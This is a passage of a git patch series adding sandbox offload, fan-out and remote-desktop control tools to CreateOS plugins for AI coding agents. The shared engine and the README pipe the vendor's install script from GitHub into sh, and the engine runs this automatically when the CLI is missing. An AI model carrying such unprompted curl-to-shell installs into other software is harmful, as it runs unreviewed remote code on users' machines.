JSON.parse(text); + return parsed.data ?? parsed; + } catch { + return text; + } +} + +/** + * The desktop stack (Xvfb → XFCE → x11vnc → websockify) starts AFTER the box + * reports `running`, so every computer call 404s or 409s for the first while. + * Neither fc nor the SDK polls for this, so every caller has to. + */ +export async function desktopWait( + id: string, + screen = "screen-0", + timeoutSec = 120, +): Promise { + const deadline = Date.now() + timeoutSec * 1000; + while (Date.now() < deadline) { + const res = await fetch( + `${apiBase()}/v1/sandboxes/${encodeURIComponent(id)}/computer/screen?screen_id=${encodeURIComponent(screen)}`, + { + headers: apiAuth(), + }, + ); + if (res.ok) return; + if ([401, 403, 501].includes(res.status)) { + throw apiError(res.status, await res.text(), "desktop readiness"); + } + await sleep(2000); + } + throw new Error(`The desktop did not come up within ${timeoutSec}s on ${id} (${screen})`); +} + +/** Mint a live noVNC URL for a screen. Requires ingress to be on. */ +export async function desktopConnect( + id: string, + screen = "screen-0", +): Promise<{ url: string; expiresAt: string }> { + const enabled = cli(["sandbox", "edit", id, "--ingress", "on"]); + if (enabled.code !== 0) throw new Error(`Failed to enable ingress on ${id}`); + await desktopWait(id, screen); + const conn = await api( + "GET", + `/v1/sandboxes/${encodeURIComponent(id)}/computer/screens/${encodeURIComponent(screen)}/connect`, + ); + if (!conn?.url) { + throw new Error(`connect returned no URL — fc only mints one when ingress is enabled on ${id}`); + } + return { url: conn.url, expiresAt: conn.expires_at ?? "unknown" }; +} + +export type ComputerOp = + | { op: "screen" } + | { op: "cursor" } + | { op: "windows" } + | { op: "move"; x: number; y: number } + | { op: "click"; x?: number; y?: number } + | { op: "type"; text: string } + | { op: "key"; keys: string[] } + | { op: "open"; target: string }; + +/** Send one computer-use action to the desktop in a box. */ +export async function computer(id: string, action: ComputerOp, screen = "screen-0"): Promise { + const base = `/v1/sandboxes/${encodeURIComponent(id)}/computer`; + const q = `screen_id=${encodeURIComponent(screen)}`; + switch (action.op) { + case "screen": + return api("GET", `${base}/screen?${q}`); + case "cursor": + return api("GET", `${base}/cursor?${q}`); + case "windows": + return api("GET", `${base}/windows?${q}`); + case "move": + return api("POST", `${base}/mouse/move?${q}`, { x: action.x, y: action.y }); + case "click": + return api( + "POST", + `${base}/mouse/click?${q}`, + action.x === undefined ? {} : { x: action.x, y: action.y }, + ); + case "type": + return api("POST", `${base}/keyboard/type?${q}`, { text: action.text }); + case "key": + return api("POST", `${base}/keyboard/press?${q}`, { keys: action.keys }); + case "open": + return api("POST", `${base}/open?${q}`, { target: action.target }); + } +} + +/** Capture a screenshot to a local path. Returns that path. */ +export async function screenshot( + id: string, + outPath: string, + screen = "screen-0", +): Promise { + const res = await fetch( + `${apiBase()}/v1/sandboxes/${encodeURIComponent(id)}/computer/screenshot?screen_id=${encodeURIComponent(screen)}`, + { + headers: apiAuth(), + }, + ); + if (!res.ok) throw apiError(res.status, await res.text(), "screenshot"); + writeFileSync(outPath, Buffer.from(await res.arrayBuffer())); + return outPath; +} diff --git a/packages/opencode-plugin/src/tools.ts b/packages/opencode-plugin/src/tools.ts index 9e4f3e3..a4643a9 100644 --- a/packages/opencode-plugin/src/tools.ts +++ b/packages/opencode-plugin/src/tools.ts @@ -7,6 +7,9 @@ import { tool } from "@opencode-ai/plugin"; import * as cli from "./cli.ts"; +import * as engine from "./sandbox-engine.ts"; +import { shortId } from "./util.ts"; +import { tmpdir } from "node:os"; // --------------------------------------------------------------------------- // Types @@ -620,5 +623,242 @@ export function createTools($: any, getActive: () => ToolSandbox | null) { return `Device detached from network "${args.network}".`; }, }), + + // ===================================================================== + // Offload engine — cos semantics (staging, egress, keepalive, auto-destroy) + // ===================================================================== + + sandbox_offload: tool({ + description: + "Run a command in a THROWAWAY sandbox and destroy it: stage a local directory to /work, " + + "run the command with a keepalive that survives a dropped stream, optionally pull artifacts " + + "back, then destroy the box. Use this for work with a finish line — a build, a test suite, " + + "a script. Prefer it over sandbox_create + sandbox_exec, which leaks boxes and drops egress " + + "restriction. Big directories (.git, node_modules, target, venvs, media) are excluded from " + + "the upload automatically.", + args: { + dir: tool.schema.string().describe("Local directory to stage into the box at /work"), + command: tool.schema + .string() + .describe("Shell command to run, with /work as the working directory"), + shape: tool.schema + .string() + .optional() + .describe("VM size. Defaults to 's-1vcpu-1gb'; use 's-2vcpu-2gb' for compiled builds"), + rootfs: tool.schema.string().optional().describe("Base image. Defaults to 'devbox:1'"), + egress_presets: tool.schema + .array(tool.schema.string()) + .optional() + .describe("Allow only what these ecosystems need: python-uv | rust-cargo | npm | github"), + egress: tool.schema + .array(tool.schema.string()) + .optional() + .describe("Extra domains the box may reach; composes with egress_presets"), + egress_all: tool.schema + .boolean() + .optional() + .describe( + "Unrestricted egress. Only for code you trust — it removes the isolation this tool exists for", + ), + exclude: tool.schema + .array(tool.schema.string()) + .optional() + .describe("Extra upload excludes"), + out: tool.schema + .string() + .optional() + .describe("Path under /work to pull back into dir when the command finishes"), + swap_gb: tool.schema + .number() + .optional() + .describe("Swap to add before running — OOM headroom for compiled builds"), + keep_on_fail: tool.schema + .boolean() + .optional() + .describe("Keep the box when the command exits non-zero, for debugging"), + }, + async execute(args) { + const res = await engine.offload({ + dir: args.dir, + command: args.command, + shape: args.shape, + rootfs: args.rootfs, + egress: args.egress, + egressPresets: args.egress_presets, + egressAll: args.egress_all, + exclude: args.exclude, + out: args.out, + swapGB: args.swap_gb, + keepOnFail: args.keep_on_fail, + }); + const lines = [ + `sandbox ${res.sandboxId} — exit code ${res.exitCode ?? "unknown"}${res.kept ? " (box KEPT)" : " (box destroyed)"}`, + ]; + for (const w of res.warnings) lines.push(`warning: ${w}`); + if (res.pulledArtifacts) lines.push(`pulled ${args.out} back into ${args.dir}`); + lines.push("", res.log || "(no output)"); + return lines.join("\n"); + }, + }), + + sandbox_fanout: tool({ + description: + "Run each command in its OWN throwaway sandbox, in parallel, from the same staged directory. " + + "For test shards, config matrices, and batch jobs. Every box is destroyed when its command " + + "finishes. Concurrency is capped because the control plane limits how many boxes may run at once.", + args: { + dir: tool.schema.string().describe("Local directory staged into every box at /work"), + commands: tool.schema.array(tool.schema.string()).describe("One command per box"), + jobs: tool.schema.number().optional().describe("Max boxes running at once. Defaults to 2"), + shape: tool.schema.string().optional().describe("VM size for every box"), + rootfs: tool.schema.string().optional().describe("Base image for every box"), + egress_presets: tool.schema + .array(tool.schema.string()) + .optional() + .describe("python-uv | rust-cargo | npm | github"), + egress: tool.schema + .array(tool.schema.string()) + .optional() + .describe("Extra allowed domains"), + egress_all: tool.schema + .boolean() + .optional() + .describe("Unrestricted egress — trusted code only"), + exclude: tool.schema + .array(tool.schema.string()) + .optional() + .describe("Extra upload excludes"), + }, + async execute(args) { + const results = await engine.fanout({ + dir: args.dir, + commands: args.commands, + jobs: args.jobs, + shape: args.shape, + rootfs: args.rootfs, + egress: args.egress, + egressPresets: args.egress_presets, + egressAll: args.egress_all, + exclude: args.exclude, + }); + return results + .map((r) => { + const box = r.sandboxId ? ` ${r.sandboxId}` : ""; + const head = `[exit ${r.exitCode ?? "unknown"}]${box}${r.kept ? " BOX KEPT" : ""} ${r.command}`; + // A retained box is the one thing the caller must act on, so its id + // and cleanup instructions cannot be dropped from the summary. + const notes = r.warnings.map((w) => `warning: ${w}`); + const tail = r.log.split("\n").slice(-20).join("\n"); + return [head, ...notes, tail].join("\n"); + }) + .join("\n\n---\n\n"); + }, + }), + + // ===================================================================== + // Desktop / computer use + // ===================================================================== + + sandbox_desktop: tool({ + description: + "Mint a live noVNC URL for the graphical desktop in a sandbox, so the user can watch or drive " + + "it in a browser. The sandbox must have been created on a desktop image (rootfs 'desktop:1'). " + + "Enables ingress and waits for the desktop stack to finish booting.", + args: { + sandbox_id: tool.schema + .string() + .optional() + .describe("Sandbox to connect to. Defaults to the active one"), + screen: tool.schema.string().optional().describe("Screen id. Defaults to 'screen-0'"), + }, + async execute(args) { + const id = args.sandbox_id ?? requireSandbox(getActive).sandboxId; + const { url, expiresAt } = await engine.desktopConnect(id, args.screen); + return ( + `Desktop URL: ${url}\n\n` + + `Anyone holding this link can drive the desktop, and the token expires ${expiresAt}. ` + + `Re-running this tool mints a fresh link.` + ); + }, + }), + + sandbox_computer: tool({ + description: + "Send one computer-use action to the desktop in a sandbox — read the screen geometry, move or " + + "click the mouse, type text, press a key chord, open a URL, or list windows. Run sandbox_desktop " + + "first; it waits for the desktop to be ready. Coordinates are raw X11 pixels — read the bounds " + + "from the 'screen' op rather than assuming them.", + args: { + op: tool.schema + .enum(["screen", "cursor", "windows", "move", "click", "type", "key", "open"]) + .describe("The action to perform"), + x: tool.schema.number().optional().describe("X coordinate, for move and click"), + y: tool.schema.number().optional().describe("Y coordinate, for move and click"), + text: tool.schema.string().optional().describe("Text to type, for the 'type' op"), + keys: tool.schema + .array(tool.schema.string()) + .optional() + .describe("Key chord, e.g. ['ctrl','l']"), + target: tool.schema.string().optional().describe("URL or path, for the 'open' op"), + sandbox_id: tool.schema + .string() + .optional() + .describe("Sandbox to drive. Defaults to the active one"), + screen: tool.schema.string().optional().describe("Screen id. Defaults to 'screen-0'"), + }, + async execute(args) { + const id = args.sandbox_id ?? requireSandbox(getActive).sandboxId; + let action: engine.ComputerOp; + switch (args.op) { + case "move": + if (args.x === undefined || args.y === undefined) throw new Error("move needs x and y"); + action = { op: "move", x: args.x, y: args.y }; + break; + case "click": + action = { op: "click", x: args.x, y: args.y }; + break; + case "type": + if (args.text === undefined) throw new Error("type needs text"); + action = { op: "type", text: args.text }; + break; + case "key": + if (!args.keys?.length) throw new Error("key needs a non-empty keys array"); + action = { op: "key", keys: args.keys }; + break; + case "open": + if (!args.target) throw new Error("open needs a target"); + action = { op: "open", target: args.target }; + break; + default: + action = { op: args.op }; + } + const res = await engine.computer(id, action, args.screen); + return typeof res === "string" ? res : JSON.stringify(res, null, 2); + }, + }), + + sandbox_screenshot: tool({ + description: + "Capture the desktop in a sandbox as a PNG and return its local path. Read that path to " + + "actually see the screen. Take one before and after any action you are unsure about — " + + "nothing else confirms that a click landed where you meant.", + args: { + path: tool.schema + .string() + .optional() + .describe("Where to write the PNG. Defaults to a temp file"), + sandbox_id: tool.schema + .string() + .optional() + .describe("Sandbox to capture. Defaults to the active one"), + screen: tool.schema.string().optional().describe("Screen id. Defaults to 'screen-0'"), + }, + async execute(args) { + const id = args.sandbox_id ?? requireSandbox(getActive).sandboxId; + const out = args.path ?? `${tmpdir()}/createos-${shortId(id)}-${Date.now()}.png`; + await engine.screenshot(id, out, args.screen); + return `Screenshot written to ${out} — read that path to see the screen.`; + }, + }), }; } From d9def188d97972972a1dca942ec5c72f90c62257 Mon Sep 17 00:00:00 2001 From: pratikbin <68642400+pratikbin@users.noreply.github.com> Date: Thu, 10 Sep 2026 17:55:09 +0530 Subject: [PATCH 4/7] feat(pi): add offload and desktop tools MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds sandbox_offload plus a compact desktop surface — sandbox_desktop, sandbox_computer and sandbox_screenshot — matching the OpenCode plugin, taking the extension from 34 to 38 sandbox tools (45 registered). --- packages/pi-extension/CLAUDE.md | 36 +- packages/pi-extension/README.md | 23 +- packages/pi-extension/package.json | 4 +- packages/pi-extension/src/sandbox-engine.ts | 856 ++++++++++++++++++++ packages/pi-extension/src/tools.test.ts | 59 ++ packages/pi-extension/src/tools.ts | 234 +++++- 6 files changed, 1196 insertions(+), 16 deletions(-) create mode 100644 packages/pi-extension/src/sandbox-engine.ts create mode 100644 packages/pi-extension/src/tools.test.ts diff --git a/packages/pi-extension/CLAUDE.md b/packages/pi-extension/CLAUDE.md index dcfb002..42cc7dc 100644 --- a/packages/pi-extension/CLAUDE.md +++ b/packages/pi-extension/CLAUDE.md @@ -16,15 +16,16 @@ Pi agent (local) → createos CLI → CreateOS API → Sandbox ## File layout -| File | Purpose | -| ------------------ | -------------------------------------------------------------------------- | -| `index.ts` | Extension entry point: flags, slash commands, lifecycle hooks | -| `src/cli.ts` | All `createos` CLI wrappers (sandbox, network, disk, device, tunnel, sync) | -| `src/tools.ts` | 33 registered tools, each single-purpose with `sandbox_` prefix | -| `src/ops.ts` | BashOps/ReadOps/WriteOps/EditOps/LsOps backed by CLI exec/push/pull | -| `src/find-tool.ts` | Remote find via `createos sandbox exec` (rg/POSIX find fallback) | -| `src/grep-tool.ts` | Remote grep via `createos sandbox exec` (rg/POSIX grep fallback) | -| `src/util.ts` | `shellQuote`, `shortId`, `joinPath` | +| File | Purpose | +| ----------------------- | ---------------------------------------------------------------------------------------- | +| `index.ts` | Extension entry point: flags, slash commands, lifecycle hooks | +| `src/cli.ts` | All `createos` CLI wrappers (sandbox, network, disk, device, tunnel, sync) | +| `src/tools.ts` | 45 registered tools, with a compact `sandbox_` desktop surface | +| `src/ops.ts` | BashOps/ReadOps/WriteOps/EditOps/LsOps backed by CLI exec/push/pull | +| `src/sandbox-engine.ts` | Copy — canonical is `packages/shared/`. Offload, keepalive, egress presets, computer use | +| `src/find-tool.ts` | Remote find via `createos sandbox exec` (rg/POSIX find fallback) | +| `src/grep-tool.ts` | Remote grep via `createos sandbox exec` (rg/POSIX grep fallback) | +| `src/util.ts` | `shellQuote`, `shortId`, `joinPath` | ## Pi extension best practices (enforced) @@ -38,24 +39,35 @@ Pi agent (local) → createos CLI → CreateOS API → Sandbox description is deleted — it costs tokens every turn and teaches the model nothing. When present, a bullet must name its tool (`"Use sandbox_xyz when..."`), because Pi appends all bullets flat into one `Guidelines` section with no tool prefix -- **Single-purpose tools** — no action enum parameters +- **Focused tools** — group tightly related desktop actions under `sandbox_computer`; keep unrelated lifecycle operations separate - **`terminate: true`** on destructive tools (`sandbox_pause`, `sandbox_destroy`) - **Signal handling** on built-in tool replacements (find/grep check `signal?.aborted`) - **No background resources from factory** — all started in `session_start` - **Cleanup in `session_shutdown`** — temp SSH key + sandbox destroy -## Tool inventory (33 tools) +## Tool inventory (45 tools) ### Built-in replacements (7) `bash`, `read`, `write`, `edit`, `ls`, `find`, `grep` — run locally by default and route to the sandbox only when `--inside-createos-sandbox` is active. -### Sandbox lifecycle (7) +### Sandbox lifecycle (8) `sandbox_create`, `sandbox_exec`, `sandbox_info`, `sandbox_list`, `sandbox_pause`, `sandbox_resume`, `sandbox_fork`, `sandbox_destroy` +### Offload engine (2) + +`sandbox_offload` — stage a directory, run a command under a keepalive, pull artifacts, +destroy the box. `sandbox_fanout` — the same project source across independent scenarios, +returning health-checked HTTPS URLs for the ones that serve a port. + +### Desktop / computer use (3) + +`sandbox_desktop` mints a noVNC URL, `sandbox_computer` performs a named desktop operation, +and `sandbox_screenshot` captures a PNG. This matches the compact OpenCode tool surface. + ### Sandbox config (5) `sandbox_ingress`, `sandbox_firewall`, `sandbox_bandwidth`, diff --git a/packages/pi-extension/README.md b/packages/pi-extension/README.md index 3b80ce4..b9cecd2 100644 --- a/packages/pi-extension/README.md +++ b/packages/pi-extension/README.md @@ -7,7 +7,7 @@ Pi coding agent extension with [CreateOS Sandbox](https://nodeops.network/create ```bash curl -sfL https://raw.githubusercontent.com/NodeOps-app/createos-cli/main/install.sh | sh - # Install from the repository root. The root manifest exposes this extension. -pi install git:github.com/NodeOps-app/createos-claude-plugins +pi install git:github.com/NodeOps-app/createos-plugin createos login ``` @@ -68,6 +68,27 @@ bundled files are copied; Pi credentials, settings, and sessions stay local. The LLM agent always has `sandbox_*` tools to create and manage sandboxes, networks, disks, port forwarding, and device VPN. Pi's built-in tools stay local unless sandbox mode is enabled. +### Offload work that finishes + +For a build, a test suite, or a script, `sandbox_offload` does the whole thing in one call: +it stages the directory to a fresh box, runs the command under a keepalive that survives a +dropped stream, optionally pulls artifacts back, and destroys the box afterwards — even if +the command throws. + +It is not a convenience wrapper over `sandbox_create` + `sandbox_exec`. Hand-rolling that +sequence drops egress restriction (`egress_presets: ["npm"]` limits the box to the registry +it actually needs), the keepalive, and the guaranteed destroy, so a "successful" run can +leave an unrestricted box billing. The upload already skips `.git`, `node_modules`, +`target`, virtualenvs and large media. + +### Drive a graphical desktop + +On a sandbox created with `rootfs: desktop:1`, `sandbox_desktop` mints a live noVNC link the +user can open in a browser. `sandbox_computer` drives the same screen from the agent side — read +screen bounds, move, click, type, press keys, open a URL, or list windows. Coordinates are raw +X11 pixels: use its `screen` operation rather than assuming a resolution. Use +`sandbox_screenshot` before and after anything you are unsure about. + ### Fan out scenarios For isolated configurations, tests, or deployment checks, ask Pi once: diff --git a/packages/pi-extension/package.json b/packages/pi-extension/package.json index 8a1164c..b27059b 100644 --- a/packages/pi-extension/package.json +++ b/packages/pi-extension/package.json @@ -1,6 +1,6 @@ { "name": "@createos/pi", - "version": "0.2.0", + "version": "0.3.0", "description": "Pi coding agent extension with CreateOS Sandbox tools and optional remote tool routing", "keywords": [ "createos", @@ -21,7 +21,7 @@ ], "type": "module", "scripts": { - "test": "bun test src/startup-sync.test.ts src/fanout.test.ts", + "test": "bun test src/startup-sync.test.ts src/fanout.test.ts src/tools.test.ts", "typecheck": "tsc --noEmit" }, "devDependencies": { diff --git a/packages/pi-extension/src/sandbox-engine.ts b/packages/pi-extension/src/sandbox-engine.ts new file mode 100644 index 0000000..6892fb6 --- /dev/null +++ b/packages/pi-extension/src/sandbox-engine.ts @@ -0,0 +1,856 @@ +/** + * sandbox-engine.ts — the `cos` driver's semantics, in TypeScript. + * + * CANONICAL COPY: packages/shared/sandbox-engine.ts. The copies under + * packages//src/ are written by scripts/sync-shared.sh and CI fails on + * drift — edit this file, then run the script. + * + * Why it exists: driving `createos sandbox create/push/exec/rm` directly looks + * equivalent to an offload and is not. It drops egress restriction, the + * keepalive that survives a dropped exec stream on a long build, guaranteed + * auto-destroy, and the staging excludes that keep a 2 GB `.git` off the wire. + * Ported from packages/claude-code-plugin/scripts/cos — keep the two in step. + * + * Self-contained on purpose: no harness imports, no dependencies, so the same + * file drops into any TypeScript plugin. + */ + +import { execSync } from "node:child_process"; +import { existsSync, readFileSync, writeFileSync } from "node:fs"; +import { homedir } from "node:os"; + +// --------------------------------------------------------------------------- +// Shared constants — mirrored from cos +// --------------------------------------------------------------------------- + +/** Registries + CDNs a build of that ecosystem actually reaches. */ +export const EGRESS_PRESETS: Record = { + "python-uv": ["astral.sh", "releases.astral.sh", "pypi.org", "files.pythonhosted.org"], + "rust-cargo": [ + "crates.io", + "static.crates.io", + "index.crates.io", + "static.rust-lang.org", + "cdn.pyke.io", + ], + npm: ["registry.npmjs.org"], + github: [ + "github.com", + "objects.githubusercontent.com", + "raw.githubusercontent.com", + "codeload.github.com", + ], +}; + +/** Never staged unless the caller asks: VCS metadata, build output, big media. */ +export const DEFAULT_EXCLUDES = [ + ".git", + "target", + "node_modules", + "__pycache__", + ".venv", + ".mypy_cache", + ".pytest_cache", + ".gradle", + ".cargo/registry", + "dist", + "build", + ".next", + ".turbo", + "*.gif", + "*.mp4", + "*.mov", + "*.zst", +]; + +const CREATEOS_DIR = `${homedir()}/.createos`; +const REMOTE_RC = "/tmp/.cos-run.rc"; +const REMOTE_PID = "/tmp/.cos-run.pid"; +const REMOTE_LOG = "/tmp/.cos-run.log"; + +// --------------------------------------------------------------------------- +// Shell + CLI plumbing +// --------------------------------------------------------------------------- + +export interface ExecResult { + code: number; + stdout: string; + stderr: string; +} + +function shq(arg: string): string { + return `'${arg.replace(/'/g, `'\\''`)}'`; +} + +/** + * Runs under bash with `pipefail`, matching the `cos` driver's `set -euo pipefail`. + * + * This is load-bearing, not tidiness. Both pipelines here put `createos` on one + * side of a pipe and `tar` on the other, and GNU tar writes a well-formed EMPTY + * archive when the path it was asked for is missing — so the receiving tar + * succeeds, the default /bin/sh pipeline reports the exit status of that last + * command only, and a failed artifact pull reads as a successful one. The box + * holding the only copy of the output then gets destroyed. Verified against a + * live sandbox: remote `tar -c no-such-dir` exits 2, receiving tar exits 0. + */ +export function execShell(cmd: string, timeoutMs = 120_000): ExecResult { + try { + const stdout = execSync(`set -o pipefail; ${cmd}`, { + shell: "/bin/bash", + encoding: "utf-8", + timeout: timeoutMs, + maxBuffer: 64 * 1024 * 1024, + stdio: ["pipe", "pipe", "pipe"], + }); + return { code: 0, stdout, stderr: "" }; + } catch (err: any) { + return { + code: err.status ?? 1, + stdout: err.stdout?.toString() ?? "", + stderr: err.stderr?.toString() ?? "", + }; + } +} + +function cliCmd(args: string[]): string { + return ["createos", ...args.map((a) => (a === "--" ? "--" : shq(a)))].join(" "); +} + +function cli(args: string[], timeoutMs?: number): ExecResult { + return execShell(cliCmd(args), timeoutMs); +} + +/** + * `createos login` is an interactive TTY prompt that opens a browser, so an + * agent shell cannot fix a missing session itself. Fail with the two options a + * user can actually act on rather than with a raw CLI error. + */ +export function assertAuth(): void { + if (cli(["-o", "json", "sandbox", "shapes"]).code === 0) return; + throw new Error( + "Not signed in to CreateOS. Ask the user to either run `createos login` in their own " + + "terminal (browser OAuth), or export CREATEOS_API_KEY in the shell that launched the " + + "agent. Never ask them to paste an API key into the conversation.", + ); +} + +const CLI_INSTALL_URL = + "https://raw.githubusercontent.com/NodeOps-app/createos-cli/main/install.sh"; + +/** Install the createos CLI if it is missing. Opt out with COS_NO_AUTOINSTALL=1. */ +export function ensureCLI(): boolean { + if (cli(["version"]).code === 0) return true; + if (process.env.COS_NO_AUTOINSTALL) return false; + execShell(`curl -sfL ${shq(CLI_INSTALL_URL)} | sh -`, 300_000); + return cli(["version"]).code === 0; +} + +// --------------------------------------------------------------------------- +// Box lifecycle +// --------------------------------------------------------------------------- + +export interface SandboxRow { + id: string; + name?: string; + status?: string; + [key: string]: unknown; +} + +function listBoxes(): SandboxRow[] { + const res = cli(["-o", "json", "sandbox", "ls"]); + if (res.code !== 0) return []; + try { + const parsed = JSON.parse(res.stdout); + return Array.isArray(parsed) ? parsed : (parsed.data ?? []); + } catch { + return []; + } +} + +export function boxStatus(id: string): string | undefined { + return listBoxes().find((b) => b.id === id)?.status; +} + +function sleep(ms: number): Promise { + return new Promise((r) => setTimeout(r, ms)); +} + +/** Poll until the box reports `running` — a race guard before the first push. */ +export async function waitRunning(id: string, timeoutSec = 30): Promise { + for (let i = 0; i < timeoutSec; i++) { + if (boxStatus(id) === "running") return true; + await sleep(1000); + } + return false; +} + +export interface EgressOptions { + /** Explicit domains to allow. */ + egress?: string[]; + /** Preset names from EGRESS_PRESETS; composes with `egress`. */ + egressPresets?: string[]; + /** Unrestricted egress — only for a trusted offload. */ + egressAll?: boolean; +} + +export function egressArgs(opts: EgressOptions): { args: string[]; warning?: string } { + if (opts.egressAll) return { args: [], warning: undefined }; + const domains = [ + ...(opts.egress ?? []), + ...(opts.egressPresets ?? []).flatMap((p) => { + const preset = EGRESS_PRESETS[p]; + if (!preset) { + throw new Error( + `Unknown egress preset '${p}' — have: ${Object.keys(EGRESS_PRESETS).join(", ")}`, + ); + } + return preset; + }), + ]; + if (domains.length === 0) { + return { + args: [], + warning: + "egress UNRESTRICTED — the box can reach any host. Restrict it with egressPresets or egress.", + }; + } + return { args: domains.flatMap((d) => ["--egress", d]) }; +} + +export interface CreateBoxOptions extends EgressOptions { + name: string; + shape?: string; + rootfs?: string; + network?: string; + /** Idle auto-pause backstop so a forgotten box parks itself. */ + autoPause?: string; +} + +export function createBox(opts: CreateBoxOptions): { id: string; warning?: string } { + const shape = opts.shape ?? "s-1vcpu-1gb"; + const rootfs = opts.rootfs ?? "devbox:1"; + const { args: eArgs, warning } = egressArgs(opts); + + const args = [ + "sandbox", + "create", + "--name", + opts.name, + "--shape", + shape, + "--rootfs", + rootfs, + "--auto-pause", + opts.autoPause ?? "30m", + ...(opts.network ? ["--network", opts.network] : []), + ...eArgs, + ]; + + const res = execShell(`NO_COLOR=1 TERM=dumb ${cliCmd(args)}`); + if (res.code !== 0) { + const err = `${res.stdout}\n${res.stderr}`; + // The CLI names the allowed shapes in the rejection; surfacing that list is + // the difference between a fixable error and "create failed". + const choices = /choices: ?\[([^\]]*)\]/.exec(err); + if (choices) { + throw new Error( + `Shape '${shape}' is not allowed on this plan. Allowed: ${choices[1]} ` + + `(list them with \`createos sandbox shapes\`)`, + ); + } + throw new Error(`Sandbox create failed: ${err.trim().split("\n").slice(-3).join(" ")}`); + } + + const id = listBoxes().find((b) => b.name === opts.name)?.id; + if (!id) throw new Error(`Created box '${opts.name}' but could not resolve its id`); + return { id, warning }; +} + +/** + * Destroying a box is the one step whose failure is invisible: the offload has + * already produced its answer, so a swallowed error here reads as success while + * the box keeps running and billing. Report it instead of discarding it. + */ +export function destroyBox(id: string): { ok: boolean; error?: string } { + const res = cli(["sandbox", "rm", "-y", id]); + if (res.code === 0) return { ok: true }; + return { ok: false, error: (res.stderr || res.stdout).trim().split("\n").slice(-1)[0] }; +} + +// --------------------------------------------------------------------------- +// Staging +// --------------------------------------------------------------------------- + +/** + * tar the directory straight into the box. The stream is piped, so a large tree + * never lands on disk twice, and the excludes are applied before the bytes are + * sent rather than after. + */ +export function stage(id: string, dir: string, extraExcludes: string[] = []): void { + const excludes = [...DEFAULT_EXCLUDES, ...extraExcludes] + .map((p) => `--exclude ${shq(p)}`) + .join(" "); + const push = execShell( + `tar ${excludes} -c -C ${shq(dir)} . | ${cliCmd(["sandbox", "push", id, "-", "/work.tar"])}`, + 600_000, + ); + if (push.code !== 0) { + throw new Error(`Staging ${dir} failed: ${(push.stderr || push.stdout).trim()}`); + } + const extract = cli([ + "sandbox", + "exec", + id, + "--", + "bash", + "-lc", + "mkdir -p /work && tar -C /work -xf /work.tar && rm -f /work.tar", + ]); + if (extract.code !== 0) { + throw new Error(`Extracting the staged archive failed: ${extract.stderr.trim()}`); + } +} + +/** Pull a path under /work back into the local directory. */ +export function pullArtifacts(id: string, dir: string, out: string): boolean { + // Probe first: pipefail catches the remote tar's failure, but an explicit + // existence check is what makes the warning's "does /work/ exist?" + // actually true, and it costs one exec. + const probe = cli(["sandbox", "exec", id, "--", "bash", "-lc", `ls -d /work/${out}`]); + if (probe.code !== 0) return false; + const res = execShell( + `${cliCmd(["sandbox", "exec", id, "--", "bash", "-lc", `cd /work && tar -c ${out}`])} | tar -x -C ${shq(dir)}`, + 600_000, + ); + return res.code === 0; +} + +// --------------------------------------------------------------------------- +// Keepalive exec +// --------------------------------------------------------------------------- + +export interface KeepaliveResult { + /** Real exit code of the command, or undefined when the box never reported one. */ + exitCode?: number; + log: string; + /** The command's process vanished without writing an exit code. */ + infraFailure: boolean; +} + +/** + * Run a command in the box so that it survives the exec stream dying. + * + * The command is detached under nohup and writes its exit code to a file; this + * side only polls for that file. A dropped connection mid-build therefore costs + * one poll, not the build — which is the entire reason offload does not just + * call `createos sandbox exec` and read the pipe. + */ +export async function runKeepalive( + id: string, + command: string, + workdir = "/work", + opts: { pollMs?: number; timeoutMs?: number } = {}, +): Promise { + const pollMs = opts.pollMs ?? 5_000; + const deadline = Date.now() + (opts.timeoutMs ?? 6 * 60 * 60 * 1000); + const b64 = Buffer.from(command, "utf-8").toString("base64"); + + const runner = + `CMD=$(printf %s "$1" | base64 -d); cd "\${2:-$HOME}" 2>/dev/null || cd /; ` + + `rm -f ${REMOTE_RC} ${REMOTE_PID}; ` + + `nohup bash -c 'bash -lc "$0"; echo $? > ${REMOTE_RC}' "$CMD" > ${REMOTE_LOG} 2>&1 ${REMOTE_PID}`; + + const started = cli(["sandbox", "exec", id, "--", "bash", "-lc", runner, "_", b64, workdir]); + if (started.code !== 0) { + throw new Error(`Failed to start the remote command: ${started.stderr.trim()}`); + } + + while (Date.now() < deadline) { + await sleep(pollMs); + const rc = cli(["sandbox", "exec", id, "--", "bash", "-c", `cat ${REMOTE_RC} 2>/dev/null`]); + const parsed = rc.stdout.replace(/\D/g, "").slice(0, 4); + if (rc.code === 0 && parsed !== "") { + return { exitCode: Number(parsed), log: tailLog(id), infraFailure: false }; + } + const alive = cli([ + "sandbox", + "exec", + id, + "--", + "bash", + "-lc", + `p=$(cat ${REMOTE_PID} 2>/dev/null); { [ -n "$p" ] && kill -0 "$p" 2>/dev/null && echo ALIVE; } || echo DEAD`, + ]); + // A failed poll is not a dead build — the CLI call itself can drop. Only a + // definite DEAD with no exit code means the process is gone. + if (alive.code === 0 && alive.stdout.includes("DEAD")) { + return { exitCode: undefined, log: tailLog(id), infraFailure: true }; + } + } + return { exitCode: undefined, log: tailLog(id), infraFailure: true }; +} + +function tailLog(id: string, lines = 200): string { + const res = cli(["sandbox", "exec", id, "--", "bash", "-c", `tail -n ${lines} ${REMOTE_LOG}`]); + return res.stdout.trimEnd(); +} + +// --------------------------------------------------------------------------- +// One-shot offload +// --------------------------------------------------------------------------- + +export interface OffloadOptions extends EgressOptions { + /** Local directory staged to /work in the box. */ + dir: string; + command: string; + shape?: string; + rootfs?: string; + /** Extra upload excludes on top of DEFAULT_EXCLUDES. */ + exclude?: string[]; + /** Path under /work to pull back into `dir` when the command finishes. */ + out?: string; + /** GB of swap to add before running — OOM headroom for compiled builds. */ + swapGB?: number; + /** Keep the box when the command exits non-zero, for debugging. */ + keepOnFail?: boolean; + timeoutMs?: number; +} + +export interface OffloadResult { + sandboxId: string; + exitCode?: number; + log: string; + /** The box was deliberately left running; the caller must say so. */ + kept: boolean; + warnings: string[]; + pulledArtifacts?: boolean; +} + +export interface RetentionState { + sandboxId: string; + /** The command's process vanished without writing an exit code. */ + infraFailure: boolean; + exitCode?: number; + keepOnFail?: boolean; + /** An `out` was requested and the download did not succeed. */ + artifactPullFailed?: boolean; + out?: string; + dir?: string; +} + +/** + * Every reason the box must outlive the offload, as caller-facing text. An + * empty list means it is safe to destroy — 